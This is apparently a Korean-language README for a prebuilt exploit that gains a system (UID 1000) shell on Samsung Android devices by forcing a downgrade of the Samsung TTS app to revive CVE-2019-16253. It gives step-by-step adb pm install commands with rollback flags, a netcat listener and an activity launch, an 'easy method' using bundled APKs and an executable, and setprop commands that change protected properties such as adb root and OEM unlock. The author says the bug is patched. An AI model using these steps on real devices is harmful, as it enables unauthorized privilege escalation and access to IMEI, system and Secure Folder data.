k0mraid3/k0mraid3s-system-shell-prebuilt2022년 10월에 발견한 익스플로잇으로, 안드로이드의 패키지 관리자 바이너리(pm)와 디버깅 플래그 처리 방식과 관련이 있으며, 2023년 3월에 패치되었습니다. CVE-2019-16253을 페이로드로 사용하여 시스템 셸을 획득합니다.
2019년, "CVE-2019-16253"로 알려지게 될 취약점이 발견되었습니다. 이 취약점은 Samsung TTS 엔진 버전 3.0.02.7 이전에 영향을 미쳤습니다. 이 익스플로잇을 통해 로컬 공격자가 권한을 시스템 권한으로 상승시킬 수 있었으며, 이후 삼성에서 패치되었습니다.
본질적으로, Samsung TTS 앱은 TTS 엔진으로부터 받은 모든 데이터를 맹목적으로 수락했습니다. TTS 엔진에 라이브러리를 전달하면 해당 라이브러리가 TTS 애플리케이션에 전달되고, 애플리케이션은 그 라이브러리를 로드하여 시스템 권한(Android에서 UID 1000)으로 실행합니다. 이는 나중에 TTS 앱이 엔진에서 오는 데이터를 확인하고 설치된 버전을 확인하도록 패치되어 이 특정 허점을 막았습니다.
하지만 Android 10에서는 Google이 ENABLE_ROLLBACK 매개변수를 사용하여 앱을 설치함으로써 애플리케이션을 롤백할 수 있는 기능을 도입했습니다. 이를 통해 사용자는 기기에 설치된 앱의 버전을 이전 버전으로 되돌릴 수 있습니다. 제 생각에는 이 기능이 Samsung의 텍스트 음성 변환 애플리케이션과 현재 시장에 나와 있는 모든 Android 10+ 기기의 모든 애플리케이션에도 확장된다는 점이 간과된 것으로 보입니다.
이 킬 체인의 핵심은 애플리케이션을 설치할 때 패키지 관리자 명령에 추가된 '-d' 플래그로 거슬러 올라갑니다. 이 플래그는 디버그 가능한 앱에서만 작동해야 하지만, 디버그 불가능한 앱에서도 작동하며, 그렇기 때문에 TTS 앱을 강제로 다운그레이드할 수 있습니다.
즉, 2019년의 익스플로잇은 수정되고 업데이트된 버전의 TTS 앱이 배포되었지만, 이후 3년(혹은 4년) 후에 출시된 기기에서 이를 설치하고 익스플로잇하기 위한 여러 우회 및 회피 방법이 발견되어 과거의 익스플로잇 중 얼마나 많이 되살릴 수 있는지에 대한 의문이 제기되었습니다.
3월에 삼성은 이 익스플로잇에 대한 패치를 출시했지만, 저는 빠르게 3월 삼성 패치에 대한 우회 방법을 찾아냈고, 이 역시 보고되어 패치되었습니다. 이로써 악명 높은 "TTS System Shell"의 2년에 걸친 사가가 마무리되었습니다.
간단한 가이드 --
1 모든 APK를 설치하고, 적어도 한 번 실행합니다.
2 재부팅 후, 장치가 다시 시작되면 ADB에서 다음 명령을 실행합니다.
"adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk"
3 하나의 콘솔에서 nc -lp 9999를 입력합니다.
4 두 번째 콘솔에서 다음 명령을 실행합니다: adb shell am start -n com.samsung.SMT/.gui.DownloadList
완료.
시작이 되지 않는 문제가 있으면 SMT(Samsung Text-To-Speech)를 완전히 제거한 후, 취약한 버전을 다시 설치하고 3단계부터 다시 시도하세요.
2023년 2월 기준으로 패치됨 XDA에서 공개 공개가 XDA 중재자에 의해 제거되기 전에 XDA에서 확인되었습니다. 그 외에는 아카이브로 여기에 그대로 유지됩니다.
이 글을 작성하는 시점 기준으로 일부 JDM 장치를 제외한 모든 Samsung 모바일 장치에서 작동할 것으로 예상됩니다. (2023년 1월 19일)
작동하는 멋진 기능들: /efs, /efs/imei, /efs/sec_efs, /efs/FactoryApp 대부분에 접근 가능 /data, /data/system, /data/user/0/ANY_SYSTEM_APP 대부분에 접근 가능 "Insthk" bin 사용 가능 Secure Folder/Separated Apps가 완전히 손상됨(POC를 함께 설치한 경우 UID 150_system) IOTHidden Menu, DM Mode, Service Mode, Multiple Debugging 및 숨겨진 메뉴 시작, 시스템 컨텍스트에서 preconfig 실행 다양한 보호된 속성 변경 가능, 예: setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1 그 외에도 꽤 많습니다.
쉬운 방법 - 1단계 - "Komraids System Shell.zip"을 다운로드하고(첨부된 최신 버전) 데스크톱 아무 곳에나 압축 해제합니다. 2단계 - "samsungTTSVULN2.apk"를 /data/local/tmp로 푸시합니다. 3단계 - USB 디버깅이 켜져 있고 컴퓨터가 인증되었는지 확인합니다. 또한 절전 모드가 꺼져 있는지 확인합니다. 4단계 - komraids_POC_V1.5.apk를 설치하고 장치를 재부팅합니다. 5단계 - 장치가 완전히 재부팅되고 잠금 해제되면 systemshell.exe를 실행합니다. 6단계 - 이제 UID 1000의 셸에 있어야 합니다. 즐기세요. 건드리는 것에 주의하세요.
참고 사항: .exe는 재부팅 후 한 번만 실행하면 됩니다. 선호하는 경우 사용하거나, 아래 "작동 원리"의 5단계에 따라 직접 시스템 셸을 수동으로 열 수 있습니다.
멍청하게 굴지 마세요. 여러분이 하는 어리석은 일에 대해 저는 책임지지 않습니다. PWNED - K0mraid3 2022-10-06 175216.png
@oakieville님께 .exe와 이 프로젝트 코드를 다듬는 데 많은 도움을 주셔서 큰 감사를 드립니다.
이 프로젝트는 VAULT-TEC Dev Ops에서 제공했습니다!
